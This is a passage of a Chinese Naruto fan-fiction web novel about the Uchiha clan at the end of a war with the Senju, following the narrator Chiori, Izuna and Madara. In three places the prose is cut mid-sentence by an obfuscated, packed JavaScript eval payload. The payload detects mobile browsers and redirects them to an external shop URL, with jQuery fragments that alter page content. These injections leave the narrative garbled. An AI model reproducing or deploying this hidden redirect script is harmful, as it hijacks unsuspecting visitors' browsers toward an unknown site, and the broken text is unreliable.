宇智波真生事件具体如何处理,族长其实也没有说,只留下了泉奈交谈。 我能离开虽然是我主动提出,但族长真的没有料到吗? 我有点毛骨悚然。 29.萤火 这场战争在拉锯到七月左右时,宇智波和千手都战死了不少人。 族中的气氛一天比一天沉闷,队里两个常常吵架的小团扇也安静了很久。 这天我看见其中那个女孩子在篝火边写着什么,过去和她打了个招呼。 她下意识地将写着的东西藏进怀里,我当做没看见,关心起她的状况。 压力越来越大的现在,在战场上稍一晃神,就容易出事。 聊了几句后,我见她的神态放松了些,就准备离开。 “……千织大人,”她犹犹豫豫地叫住我,在我回头时将刚才藏起来的纸拿了出来,微咬着唇,“我听说大家可以把这个交给自己的队长。” 我坐回到她的身边,接过她手上的信纸,瞟到了个开头的称谓,立刻将信纸折了起来。 要命,我可没想占她便宜。 她还在说:“如果我出事了,您能将它带给我妈妈吗?” 我嗯了一声,将她的信收好,又安慰道:“恵理沙,会没事的,我会保护好你们。” 分在我队伍中的忍者是我的部下,我自然要尽力保护他们。 只是在战况越发胶着的现在,我也开始对自己的能力产生质疑。 ——万花筒又怎么样,能停下这场战争吗? 战争是一台可怕的机器,无论是想还是不想,身处其中的人都推着走,越陷越深,也越发无力。 每天眼一睁,就是无尽的厮杀。 一开始繁多的想法也逐渐被磨灭得只剩下一个——什么时候结束? 什么时候结束,得雇主们说了算。 年年战争都是如此,宇智波和千手不相上下难以分个输赢,于是在背后雇佣两族的雇主们看着打得差不多了,死的人足够了,便传来消息:可以了,就这么样吧,我们和解了。 互相给点好处,麾下的官员们在谈判桌上挥斥方遒好不得意,最后双方达成共识找个风水宝地重新结盟,眨眼间势同水火的两方势力便相约着去打牌喝酒开宴会。 他们是和解了,被雇佣的两族仇恨也更深了。 反正死的人只是卑贱的忍者,又不是高贵的他们。 这次的和解发生在七月末,两方领主似乎全然忘了一开始互相放下的狠话、悬赏的对面忍族高层头颅的事,传来了雇佣结束的消息。 宇智波的护卫和千手的护卫互相守在各自雇主的身后。戴着象征领主身份帽子的贵族不耐烦酷暑的炎热,一个劲地扇着手上的扇子,听着一旁的下臣转述盟书内容,而后掏出怀中的印信在盟书上留下己方名姓。 “终于结束了。”雇佣宇智波的领主不耐烦地回了轿子,一个眼神都没留给宇智波,催促着下人们赶紧离开,另一边的雇主同样如此做派,甚至在路过保护他们的忍者时掩住了鼻子。 “好恶心的血臭味,果然是不知礼数的忍者,面见我等时连仪容都不整理。”那名领主刻薄地评价道。 对面的千手没有丝毫反驳,只是不忿地垂下头。千手柱间看起来似乎想为自己的下属说几句话,被他弟弟冷着脸拉住了。 我扯了扯嘴角,这是整理仪容就能做到的? 把他扔进尸山血海里泡上四五个月他就老实了。 就这股血味,都是我们换了身干净衣服后的。 根本洗不掉,只能等它慢慢散掉。 贵族们离场后,就是忍族的场合了。 我站在火核身边,看着面前两族族长对峙着。 这次不比往常,双方都俘虏了对方不少年幼的族人,即使没有提前交涉过,此刻两族都为了此事暂留此地,准备谈判。 定下谈判的时间和地点后,双方各自归营。 千手族长看起来还挺高兴,表情和他旁边的弟弟成反比。 谈判期间暂时休战。 休息的时间,我和火核说了一声,去河边打水,恵理沙守在我边上警戒周围,脸上满是不安。 毕竟作为宿敌的千手就在附近。 清澈透明的清水从手边流过,水面散开几缕微不可察的淡红,我又想起千手雇主临走前说的话,心里更加烦躁。 千手一族可真能忍啊,被当面羞辱都能一句话不说。 “走了,恵理沙。”我起身招呼她。 “好的,”恵理沙小跑着跟上我,有些不解,“千织大人,您心情是不是不好?” 我轻轻哼了一声:“我心情不好?那群千手被奚落成那样,我高兴得不得了。” 我没管身后河对岸细微的动静,拉过小姑娘让她走到我身前去,左手落到腰间的刀上:“马上就要回族里了,你不如想想回去后要做什么,关心我干什么。” 她“诶”了一声:“千织大人,这样的话不能说。” 我:? “话本里都这样,越是说了这种话的人,越容易……唔——” 我伸手捂住她的嘴:“不许说出来,不吉利。” 小小年纪,怎么懂得那么多,连flag都知道了,族里是在我不知道的时候全员进化了吗? 等到谈判结束,大部队回族里,已经快要九月了。 双方交换了一批俘虏,宇智波这边抓到的千手要多上那么几个,泉奈提出要封印术作为交换条件,遭到了千手扉间的拒绝。 “封印术不是千手一族的,无法作为交换的筹码。” 本来想要应承下来的千手柱间听见了他弟的话后,也沉默了起来。 “那就拿你们千手的东西来换。”泉奈冷笑着看向千手柱间。 我:……对千手族长的图谋太明显了吧? 千手扉间果然大怒:“你们宇智波得到大哥的细胞也没用,还是说你们终于承认写轮眼比不过我们了?” “看不上写轮眼?你最好没有背着我们宇智波偷偷研究。” “……” 两族族长就放任自家弟弟们互相口头攻击,讨价还价后,千手方最后出钱换回了多出来的族人。 我没在生日前赶回族里,那时候我们还在回程的路上,路上光顾着防备敌人的偷袭。 回到族里的第二天夜里,泉奈拉着我出门。 我又不是张怀民,我刚打算睡觉。 “这么晚了还出门,你最好是有急事。”我跟在他身后一边抱怨一边注意着周围的动向。 战场后遗症估计还得养上一段时间。 泉奈停了下来。 “要不……”他似乎真的在思考他要做的是不是急事了,而且看样子想打退堂鼓。 可我人都出来了! 我死死盯着他。 泉奈注意到我的目光,话音一顿,硬生生拐了个弯:“要不你先闭上眼睛,我带着你过去?” 族地门口往外的路不好走,主打一个易守难攻。 我怀疑地看向他:“你确定?” 泉奈嗯了一声。 “……你不会是想带我去看你小时候的秘密基地之类的地方吧?保密性这么高。”我怀疑地问道,伸手拉住他的手腕,依言闭上眼。 泉奈有些恼羞成怒:“没有那种东西!” “好好好,没有,”我从善如流地答道,催促他,“快过去啦。” 泉奈没说话了,他挪到我身边让我靠着,极小声地说了句:“这么放心,也不怕我偷偷跑了。” 我只是闭上眼睛,又不是真的瞎了聋了,当即挑眉呛了回去:“你的手还在我手上呢,你要跑的话就把手留下来吧。” “你怎么说得好像绑架我了一样!” “谁让你先把我说得没有一丝防备心,跟隔壁千手族长一样。” “……”泉奈诡异地沉默了一阵,“千手柱间那家伙哪里缺少防备心了,你是不是也被他骗了!” “……也?还有谁被骗了?” 泉奈不说话了,想必不愿在我面前破坏他哥的形象。 可惜我什么都知道,族长他们两人也称不上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他含糊地嘟囔了一句什么,我没听清,就听他回答道:“其实也没什么,我就说我们在对于千手的应对上有些分歧,三年前撞上千手柱间的时候你被千手柱间那些话骗了,想要尝试结盟,斑哥没说什么……对了,你是不是有点害怕斑哥?” 我:“……有这么明显?” “你一直叫斑哥的敬称,能不叫兄长就不叫兄长。”泉奈如是说道。 “因为我有哥哥嘛,突然多一个兄长出来,也太奇怪了……你也没叫火核哥哥呀。” 泉奈沉默了一会儿,然后道:“我也叫过一两次的。” 看起来刚才是在回忆过去到底有没有改口过。 “看吧看吧,”我抓住时机,“其余时候还是叫的名字对吧?” “好吧,”泉奈叹息了一声,“确实很奇怪。” 我连忙跟着点头,就又听他道:“所以你没否认你害怕斑哥。” 我:“……你今天一定要在这个问题上纠缠吗!” “没有,只是有些想知道原因。像我,你就从来没有害怕过。”泉奈道。 我想了想,我对族长的恐惧大部分是原著带来的,小部分是因为族长如今的行事风格:“斑大人吧……太看不透了。” 我说出自己的想法。 “很多事斑大人不会明说,需要我们做部下的去揣度,太有距离感……我知道他对族人很好,之前还保护过我没有追究我的责任,一直以来也都在战场上保护着我们,但怎么说呢,应该算是气质吧,有一种难以接近的威严感。” “这样吗……”泉奈回了一声,又问,“那我呢?” “你?”我没太理解他的意思。 “不害怕我,是因为我和哥哥——辉很像吗?”他很平淡地问出了这个问题。 我睁大眼睛,呆在原地。 30.视力 我们一直很少提起辉,今天泉奈突然提起他,我甚至有种恍如隔世的感觉。 “你为什么要这么问,泉奈?”我茫然极了,“我不害怕你,难道不是因为我们从小到大关系都不好吗?” 泉奈:…… 难道不是吗!我们从小在训练场打到大、互相放狠话,想给对方上点可怕滤镜根本做不到吧! 真要算下来,我其实确实是有些怕他的,但是是怕他和原著一样死了,但这也和他想问的问题没关系啊! 他问的害怕是害怕族长那种啊! 大概是我的回答太过有说服力,他的表情都空白了。 “……时候不早了,回家吧。”他生硬地转移话题。 我拉着他不放:“你先说清楚为什么要问这么奇怪的问题。” “我只是随口一问!” “这话你自己相信吗?” “……” 拉拉扯扯之间,也不知道触及了什么开关,泉奈突然开口了。 “哪里奇怪了,兄弟之间相似不是很正常的吗?”他大声道,“想要知道你究竟看的是我还是看的哥哥,是很奇怪的事吗!” 泉奈说完之后整个人僵住,仿佛才意识到自己刚才说了什么,慌慌张张地和我拉开了距离。 他的声音还在我脑子里嗡嗡嗡地响,我正在尝试理解这句怎么看都很奇怪的话,宇智波泉奈直接一个瞬身跑了。 我:? 不是,他就这么一个人跑了?! 我本来还想问问他其他事的,现在也问不成了。 我坐在河边上,萤火虫刚才被惊飞了,现在也不剩多少,夜风吹得有些凉,我没犹豫,打算先回家。 他是不是忘了我们住一起啊? 他就算跑,最多也只能跑到他哥家吧。 刚起身,我就听见到不远处的一声细响。 泉奈停在昏暗的树林之中,注意到我的目光后往树后挪了挪。 我:……不至于吧? 我轻咳了一声:“我要回去了?” 泉奈不答话。 但我往某个方向走的话,他也会跟着一起。只有我往他的方向走的时候,他会立刻后退。 好像我们中了某种规则怪谈,规则规定了宇智波泉奈和宇智波千织之间的距离不可以小于多少步一样。 如果现在是白天,我估计会多花点时间看看泉奈要熬到什么时候才肯出来,可我今天出门前就打算睡了的—— 我没过多试探,说了句我真的回家了,辨认方向后,就往族里走。 我一开始本来还有些生气和不可思议的,毕竟明明是他找我出来,结果待到一半他就跑了。 但见他没真的把我一个人留在着自己回去,这股气也渐渐消了,又觉得有些好笑。 他平日里不是挺会说话的吗,怎么这时候就不会了。 一路上拎着他送的礼物回家,虽然没拆,但我也大概猜到他送的是衣服。 等到拆开包裹确认,里面果然是一套用料很好的常服。 大概是因为不知道我喜欢的颜色,泉奈选了中规中矩的蓝色——宇智波嘛,族服就是蓝色,选蓝色一定不会出错。 我把衣服收回橱柜,去院子里打了水重新洗漱后这才睡觉。 第二天早上见到他时,泉奈的精神不太好,感觉像是一晚上没睡。 “你昨晚回族地的时候迷路了吗,怎么像是一晚上没休息?”我打趣了他一句。 “……你没有想问我的吗?”他因为我的阴阳怪气沉默了一阵,这才问道。 我也不免安静下来,他昨晚那句话的信息量对我来说有点过载,我想不通他怎么会有这种想法—— 虽然他家五个兄弟,他也说过小的时候他会因此有些竞争心,但是辉……那都是多少年前的事了。 “我不知道你为什么这么问……但我从来没有把你和辉搞混过,你们很多地方都不一样。”我说道。 “所以你……”泉奈刚起了个话头,又不说话了。 因为我一直盯着他等他说完,泉奈只得补了句:“所以你并没有把我当别人。” 我直觉他刚才想说的绝对不是这一句话。 但他的态度很认真,于是我再度确认:“当然没有。” 可这个答案似乎并不是他想要的,泉奈有些茫然地眨了下眼睛,整顿饭都吃得神思不属,奇奇怪怪的。 搞得我都忘记问他族长那边到底打算怎么处理黑绝的事。 战争已经结束了,宇智波真生也被带回族里,但是因为技术问题他还和黑绝关在同一具身体里,不好轻易处理黑绝。 我在训练场见到惠理沙后才想起来这事,监督惠理沙训练的时候稍微走了下神。 回族里的时候她跑来找我能不能指导她练习忍术,我想着她勉强也能算得上我的部下,便同意了。 惠理沙停下了结印,犹豫地问我她哪里做得不够好。 “?”我迷惑地问她为什么这么说。 “听说您写轮眼很早就开了,是天赋难得一见的忍者,”年幼的忍者微抬着脸,漆黑的瞳孔中写满了不安,“是我的结印太过生疏了吗,刚才您似乎不想看。” 我不禁愣住,仔细地打量起惠理沙。 刚才的走神只是一瞬的事,寻常人很难注意到,专心训练的她却注意到了。 她的感知不是一般的敏锐。 “抱歉,我刚才想起了一些事,才没注意到这边,”我思忖了一下,还是实话实说,免得伤了她的自信心,又随口找了个话题,“……我记得你之前说要和凉真一起来训练,他怎么没来?” 宇智波凉真就是之前队里和她吵架的男生。 “千夏阿姨怀孕了,叔叔出了个任务,想多赚些任务金给千夏阿姨补补身体,凉真留在家里照顾千夏阿姨。”惠理沙脸上的担忧一闪而过。 也不知道她是在担心宇智波凉真跟不上训练还是担心宇智波千夏的身体。 我轻轻揉了下她的脑袋,不知道该怎么安慰她。 想了半天,我问她要不要学火遁。 只要多学点东西,脑子就来不及分神想其它事了。 新的术没有人能够抗拒,小姑娘眼睛亮晶晶地点了点头,不禁笑了一声,选了个适合小孩子练习的忍术讲给她听。 这之后我让惠理沙跟我练了会儿体术,就留她一个人在训练场练习,回去处理族务,顺带给我的金鱼扔了几粒鱼食。 这只金鱼能活这么久简直出乎我的预料,当初养的时候我就做好了养鱼勤换鱼的思想准备,谁知道它生命居然这么顽强。 处理完手头上的族务,我托着腮看了会儿放在窗边的鱼缸,然后看见忍猫熟练地从窗边上钻进来,贴着鱼缸趴下:“斑大人让你过去一趟。” “……别的等会儿再说,下次走门,离我的鱼远点。”我抽了下嘴角。 “我才看不上这点塞牙缝都不够的肉。”她轻盈地跳下柜子,走到我专门给她放零食的柜子边上拉开,催促我给她拿吃的。 抓了把吃的给她,我才去的隔壁。 家忍带着我过去的时候,族长正在院中指点火核的体术。 我站在廊下看着院中的场景,轻轻抿了下唇。 很微妙的变化。 以前来拜见族长,家忍会将我带到会客室等待。 现在是直接将我带到这里。 因为泉奈?还是因为……我的立场? 场上的切磋已经结束,火核退到一边,看见我时轻轻点了下头,没有一丝惊讶,看来是知道族长找我这件事的。 “来了吗,千织?”族长揉了揉手腕,也看了过来,示意我到场上,“先来比上一场。” “……” 我的天,我耳朵是不是出毛病了? 耳朵是不可能出毛病的,万花筒都还没瞎呢,耳朵怎么可能出问题。 我深深吸了口气,走到院中,火核已经走到一旁避开留出位置。 “斑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13404558|138195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大人,”我有点紧张,“仅限体术吗?” 族长挑了下眉,一股不祥的预感涌上我的心头。。 “也对,你擅长幻术。”族长说。 “……” 果然,族长接着道:“不用万花筒,尽管放开手段。” 大抵是火核还在边上,族长没说是谁不用万花筒,但我的心还是凉凉的。 就算禁了万花筒,可不限制其他手段……怎么,我用其他手段就能在族长手底下讨得好吗? 我的攻击手段增加了,族长的攻击手段不也增加了吗。 族长和隔壁千手族长的战力早就跟我们普通忍者不是一个次元的了。 希望族长看着这是他家的份上留点手,他总不至于拆家……吧? 胜负自然毫无意外,就是中途出了点意外。 虽然我确实有点怵族长,但是被压着打的我火气还是被打上来了。 一刻钟后,我的雷遁把族长家靠近院子的这边建筑轰得焦黑,当然我也没讨得好。 族长家的院墙被他的火遁烤得焦黑,感觉轻轻一碰就会倒塌。 火核把我从地上扶起来,搀着我到室内坐下。 我悄悄问火核这种情况我需不需要赔偿。 虽然这种状况我是有点责任,但这场比试是族长让的。 族长走在前面,突然回头看我一眼,我立刻闭嘴。 火核又在我边上叹气。 趁着族长给的修整时间,火核替我把手臂上被火遁燎起泡的地方上了药。 “斑大人,”休息得差不多了,我问道,“您有什么吩咐?” 火核在族长的示意下先回去了。 等到火核的气息远去,族长才道:“你觉得我们应该和千手结盟?” 泉奈都和族长说过这事了,我没必要隐瞒,干脆点头。 族长沉默了许久,才继续问道:“你相信千手柱间那套说辞?” 千手族长隔三岔五对宇智波宣传结盟,打仗的时候和族长说这些话更是不避人,跟个广场音响一样,族里的人要么直接要么间接,都听过他的那堆话。 我点点头,犹豫了下,又摇头。 “我期待两族有结盟的一天,但不相信千手族长所描绘的同盟。” 千手柱间想要建成的,是一个只存在于理论中的理想乡。但任何事都充满着变数,更何况是人这么复杂的生物。 “……结盟有好处,对我而言,它能把族人们从不断流血牺牲的漩涡中拉出来,这一点就足够了。”我说。 就算日后有政斗又如何,真实流血死亡的战争更为残酷。 本来战争就已经是博弈失败后最后手段。 贵族们将战争推在了忍者身上,滥用发动战争的权力隔岸观火,本来就是既不公平又令人作呕的事。 “不是因为千手和宇智波拥有共同的祖先?”族长又问。 “都是多少年前的事了,”我摇头,“亲兄弟尚且会反目成仇,更何况是已经隔得那么远的血脉关系,宇智波不会有人觉醒木遁,千手也不会有人开启写轮眼。” “你的视力,现在如何?” 不知道是不是因为提了半句写轮眼,族长突然问起了这个问题。 我愣了一下,抬头去看族长的眼睛。不过观察旁人视力这种事,只能从生活细节上表现出来,不然就只能让当事人主动告知。 单纯地看对方的眼睛,并看不出什么来。 “我的眼睛,如今尚可。”虽然几乎和族长他们同时开的万花筒,但我用万花筒的次数没那么频繁。视力虽然有些被影响,却也和普通人差不多,只是比不得族里的人。 但我都这样了,高强度使用万花筒的他们的眼睛是什么状况,我都不敢想。 大概是因为族长问的这些话给了我一些零星的希望,我忍不住问道:“斑大人,我们和千手,有结盟的希望吗?” 族长只是说:“还不是时候。” 我的心沉了下去。 31.忍鹰 族长不会平白无故问我视力问题。 我想起当初在信上偶然提起万花筒的弊端后,泉奈直接到据点问我眼睛的情况。 如今那两人的眼睛状况恐怕都堪忧。 万花筒的问题大概有两种方式可以解决,一是移植亲属的万花筒融合两双万花筒的瞳力升级成永恒万花筒,一是直接一步到位用隔壁族长的木遁细胞唤醒轮回眼。 后者仅存在于理论当中,不一定能成。 回书房的时候,家忍正从泉奈手中接过处理好的族务。 他看到我时神情还有些不自然,问我怎么来了。 “没什么,刚从斑大人那边回来,斑大人和我说你的眼睛最近用得有些多,让我看着点你。”我轻轻眨了下眼睛,面色不变地说道。 泉奈的表情微微凝固,而后他又温和地笑了起来:“千织,你不必这样试探我,你也知道,我在对付千手扉间的时候很少用到万花筒。” “……” 我简直不知道泉奈是怎么笑得出来的。 “如果真是这样,你应该怀疑我为什么提起这件事,而不是这么好整以暇地戳穿我。” 他的笑容消失了。 我合上门往里走了几步,照进室内的光黯淡了少许,继续道:“泉奈,你的眼睛,恶化到什么程度了?” 宇智波泉奈似乎很会顾左右而言其他。他微微抿唇,目光落到阳光投落到地面的影子上:“你在关心我吗,千织?” 他向来很能抓准我的心思,知道这么问我一定能转移话题。 “难道不可以吗?”我没有回避,直直地看着他的眼睛。 这种话题,他认为可以像以前那样轻飘飘略过? 他的脸上再度浮现起有些无措的茫然。 “你不用担心,我的眼睛至少能再撑上几年,会有办法的。”泉奈轻缓地眨了下眼睛,放低了声音。 听起来像是安慰。 是啊,还能再撑上几年,然后这双眼睛会换到你哥哥的眼眶里,再也不用担心失明。 等等,对于泉奈他们,在知道石碑被篡改的现在,用亲属的万花筒代替自己的眼睛并没有太大的可信度。 黑绝致力于让因陀罗查克拉的转世者与阿修罗查克拉的转世者互相争斗开启轮回眼,可哪有那么巧的事,让开启了万花筒的转世者刚好有一个同样开启万花筒的血脉至亲。 缺少这么一个人,他又何必挑起两个转世者的斗争。 更何况,泉奈他们还知道了另一种可能—— 万花筒有几率升级成轮回眼,这是确切的情报。 族长说结盟还不到时候,却又说起万花筒。 除非千手输给宇智波或者两族结盟结束战争,如果不能解决掉万花筒的弊端,那么失明是等待万花筒拥有者的最终归宿。 就像泉奈在原著中把眼睛给了族长一样,族长不可能不在意泉奈的眼睛。 我不禁想起与千手谈判时,泉奈那句状若无意针对千手族长的话。 “你们打算怎么处理黑绝的问题?”我问道。 大概是我似乎转换了话题,泉奈松了口气,并没有隐瞒:“真生已经妥善安置下来,斑哥最近在研究封印术,做好万全准备后会将黑绝剥离下来。” 鉴于斑在四战解开秽土的实绩,我丝毫不怀疑族长的研究能力,并毫无同情地在心里给黑绝点了根蜡。 不知道为什么,我心底隐隐有些不祥的预感,总是不太放心族长那边。 这时,泉奈问我接下来有没有其他安排,问我要不要和他一起出门。 “待会儿要去安抚战亡族人的家人,送抚恤金,”他说,“你要一起吗?” 战亡的族人有很多,泉奈并不能做到探望所有人,他负责的是他的直属部下和族中所有的少年忍者,其余人都有专人负责。 第一站是宇智波真生的家,毕竟宇智波真生是泉奈的直属部下。 因为情况特殊,那天军议中发生的事被禁止外传,他的家人只知道宇智波真生受了很重的伤,极有可能回不去了。 宇智波真生父母都已经去世,他已婚,有两个孩子。大一些的孩子在前两年的战争中去世了,小的那个孩子是在这场战争期间出生的,现在才四个月左右大。 他的妻子彩香不是忍者,只是个普通人,出生在南贺川附近的一个村落中,后来那个村子在战乱中被毁掉了。 去的路上,泉奈和我说了他家的情况。 宇智波真生和彩香结婚的时候,我刚好被派出了族外,不清楚这件事。那时候宇智波真生已经两勾玉,族中非议很大,说他们不该结婚。 见到彩香的时候,她正在院子里拿着斧头劈柴。 她刚停下和我们说了两句话,屋内就传来了孩子的哭声。彩香无措地看了我们一眼,留下句失陪了就匆匆回屋里找孩子。 看着散落在地上还没劈完的柴,我刚准备过去帮忙解决,泉奈就先我一步过去将柴劈好。 孩童的啼哭声和隐忍着情绪的安抚声从屋内传来。 我见泉奈似乎在走神,便推了推他的手臂,提醒他:“任务金。” 他下意识地抓住我的手腕,力道极大,我不禁皱眉:“你怎么了,泉奈?” 黑得浓郁过头的眼睛渐渐回过神来,泉奈自刚才那股沉郁的氛围中脱离出来。 “抱歉,”他拿出属于宇智波真生这次应得的那份任务金递给我,抿了抿唇,“千织,你帮我转交一下吧,我有些不舒服。” 自从见到彩香后他的情绪似乎就一直不太对劲。 我深深看了他眼,接过钱袋点头,走到入户的玄关边。 彩香背对着坐在半掩着她的门后,一下又一下地安抚着她的女儿。 我将钱袋放在门边,出声道:“彩香夫人,这是宇、真生这次的任务金,我们先替他送来。” 背对着我的女人停下手下的动作,孩子的啼哭声更加响亮了。 彩香没动。 “千织大人,”她压着嗓子说道,“多谢您。真生他……还会回来吗?” 我也不知道。 族长会选择研究新的封印术,也是想在保下宇智波真生命的情况下单独把黑绝封印到其他地方。 但谁也不知道中途会不会出意外,结果出来前谁也不敢打包票保证他能活着。 我的沉默让彩香意识到了什么。 她抱紧了自己的孩子,忍着泣音问道:“如果真生回不来,我的孩子,往后可以不上战场吗?” “……嗯,可以的。”我说道。 等到她的孩子长大到该上战场的年龄,木叶大概都建立了。 向彩香辞行后出来,泉奈已经帮忙把院子里劈好的柴收拢到一处堆放整齐,状态似乎也恢复得差不多了。 “走吧,下一家?”我问他。 他沉默点头。 除去宇智波真生家,其他家都有人逝去。 我和泉奈就像两只报丧鸟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434833|138195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一家家地登门告知噩耗,给战亡族人的家人送去任务金和抚恤金。 他们家人的态度各有不一。 有的沉默接受、有的咒骂千手、有的发誓报仇。 也有极少数的人,会忍受不了地哭泣。 泉奈一个个地告诉我死去族人的信息,流畅得仿佛这些事他早已熟记于心,完全不需要犹豫思考。 等到探访的名单过了三分之一的时候,天已经黑了。 我们打道回府,剩下的明天继续。 夏末的植物似乎已经耗尽了自己的绿意,叶片的边缘逐渐染上颓意。 回去的路上我忍不住叹息。 “这份差事太难做了。” “他们都是为了族人而死。”泉奈说道。 “……你在劝我?”我犹豫了一下,不太确定地问道。 或许他会再度向我强调两族之间的仇恨。 “不,千织,”他说,“我只是想说,他们也曾真实地活着。” 我们并排走着,泉奈牵住了我的手,停顿了好一会儿,道:“无论我们记不记得。” 这个时节,地上虽有了些落叶。 但掉落在地上的叶片此刻并没有干枯到能在踩到时听见脆响。 我看着落叶,没有说话。 泉奈将这些事记得如此清楚,身上的压力只会越发沉重。 他心中装着的东西太多了。 但也正是这样的性格,会让他最终为了族人和兄长献出眼睛。 又过了几天,族中的集体葬礼如常进行。 葬礼结束后,日子稍微平稳了一些,族中陆续接到了不少非战争的委托。 处理族务的间隙,我偶尔会接些不太耗费时间的外出任务。 这天我刚回族地,一只忍鹰自天空振翅飞过。 我望向忍鹰来的方向,问了下守在门口的族人:“那是斑大人的忍兽?” 以前在据点听泉奈说起过,族长驯养了一只忍鹰,不过族长作战时用不上它,我也就没见过。 族人点了点头:“族长有时候会去鹰猎。” 回去交任务的时候路过训练场,族长少见地站在场地上指导年幼的族人们,想起刚才飞出去的那只忍鹰,我心中的违和感更为强烈了。 中途我将从族外捎带回来的日常用品送去给彩香,她家现在没有收入来源,我接手了过去老师负责的那部分族务,自然也得对她家上心一些。 不过这次去她家的时候,和前几次去时明显不一样了。 她家被收拾得井井有条,来开门的人是宇智波真生,屋子里还有一个宇智波真生正抱着孩子哄。 我愣了一下,一时之间不知道是宇智波真生本人出现在这里还是他对分/身术的妙用震撼到了我。 黑绝的事解决了? 这么想着的时候,宇智波真生连忙侧身邀请我进屋。 “千织大人,我听说之前军议上的事了,您还这么照顾我们家,实在过意不去。”他的分/身抱着孩子进了屋,一边给我倒了杯茶,压低着声,语气愧疚。 我摇头说了声没事,又问起彩香。 “她这些日子操劳过度,药师说得好好调理身体,”宇智波真生道,“刚喝了药睡下不久。” 难怪他一直用这么低的声音说话。 我不便一直叨扰,留下东西就离开了。 我本想找泉奈问问黑绝的事,谁知回家看见了泉奈留下的字条,说他出任务去了。 32.又旅 火核说我出门做任务的时候,千手又送了结盟书过来,这次泉奈居然没有直接把人扔出去。 虽然也没答应就是了。 当时我们俩正在切磋忍术。此话一出,我结印时差点出把手扭到。 “真的?”我有点不相信,怀疑火核只是单纯想要引开我的注意力。 火核明显看懂了我的表情,翻了个白眼,让我不信的话就去找其他人打听。 等到训练完,他端了盘柿饼给我,我们坐在院子边上聊天。 “你真的不知道这事?”他问我,有点不相信。 我咬了口粘牙的柿饼,就水吞服。火核见状眼角抽了一下,抢过盘子放到一边,说我浪费他的食物。 “你真的高估我了,我这次跑去波之国,路上一点都没停留,哪里有时间打听族里的事。”我吞下剩下的柿饼,伸手去捞盘子里的第二块。 火核见状妥协,把盘子塞我手里:“我还以为你说动泉奈大人了。” “……”别说说动泉奈了,上次泉奈带着我去一家家安抚战亡族人家属,差点动摇了我的立场。 安静了一会儿,火核又问:“你说,两族会不会真的有那么一天?” 我震惊地盯着火核,怀疑他被夺舍了:“你怎么考虑起这种事了?” 他淡淡瞥我一眼:“只准你想这种事?” “倒也不是,但你不是一直都……”我试图用个没那么激进的词语描述他的立场,毕竟什么词极端了听起来都有点贬义,“不太喜欢千手。” “虽然不是很明显,但是泉奈大人的态度还是会影响到我们的,”火核说道,“一旦察觉到了,就会忍不住继续往下想。” “但这种想法或多或少会影响到作战吧?”我不安地皱了下眉,有些生硬地说道。 俘虏对方的年幼忍者是能力之余的事,要是势均力敌的情况下产生了一念之仁,搞不好会死。 火核哂笑道:“我是个忍者,没有那么天真。” 他停顿了一会儿,又问道:“不过,要是我出事了,你还会坚持结盟吗?” 我:? “你少说这些有的没的,好端端的说什么不吉利的话,”我气势汹汹地推了把他的肩,“你的柿饼我没收了。” 我把盘子挪到另一边,心里慌得不行,根本不敢想象下去。 原著里没提过火核什么时候死的,他上赶着给自己立flag干嘛! 火核揉了揉我的头发,好半天才说话:“我讨厌千手,也想象不出来两族会结盟的样子。” 我嗯了一声。 “我一直觉得,如果真的有那一天,族里的情况一定糟糕透顶了,”他继续道,“真到了那一天,千手也肯定不会放过我们。” “……未来的事谁也说不准,”因为黑绝被提前抓住,所以我也拿不准会引起的改变,“走一步看一步吧。” 变数越多,我所知道的就越少,也就越发不安。 “还有一件事,”火核说到这件事时语气有些犹疑,最后还是道,“泉奈大人和斑大人之间,似乎有了些矛盾。” 我转头看过去:“矛盾?” 怎么可能,就算是对千手的事,他们都没吵过架的。 因为泉奈出了门,所以往日他要处理的族务就分成了两部分,一部分送去了族长那里,另一部分我在处理自己手头上的族务时也一起看了。 汇报族务的时候,我顺便问了句黑绝的去向。 “他还有用。”族长说得十分笼统。 十一月中旬,下起今年的初雪时,泉奈回了族里,还带了份诡异的伴手礼。 “……这是什么?”看着他身边压缩成正常大型猫类生物大小的高密度查克拉聚合体,我感觉哪天鸣人出现在我面前说这个世界是错误的超绝ooc台词我都能接受了。 他们行来的一路,沿途的积雪被蓝色的查克拉火焰融化,化作丝丝缕缕的白色雾气。 泉奈垂眸看了眼身侧的蓝色尾兽,介绍道:“又旅。” 我当然认得出来眼前的是二尾,问题是他们为什么会在一起啊! “这是‘你的任务’?”我还是有点不可置信。 眼前的尾兽磨了两下爪子,身上腾起几缕蓝色的查克拉火焰。 泉奈一眼扫过去,又旅便僵住地停止了动作,身上燃烧着的查克拉火焰黯淡了些许。 看来不会把族地烧了—— 我后知后觉,泉奈和又旅都是用火的行家。 “顺路带回来的,请她帮一些忙。”泉奈这么说着的时候,我竟然从又旅脸上看出了几分屈辱。 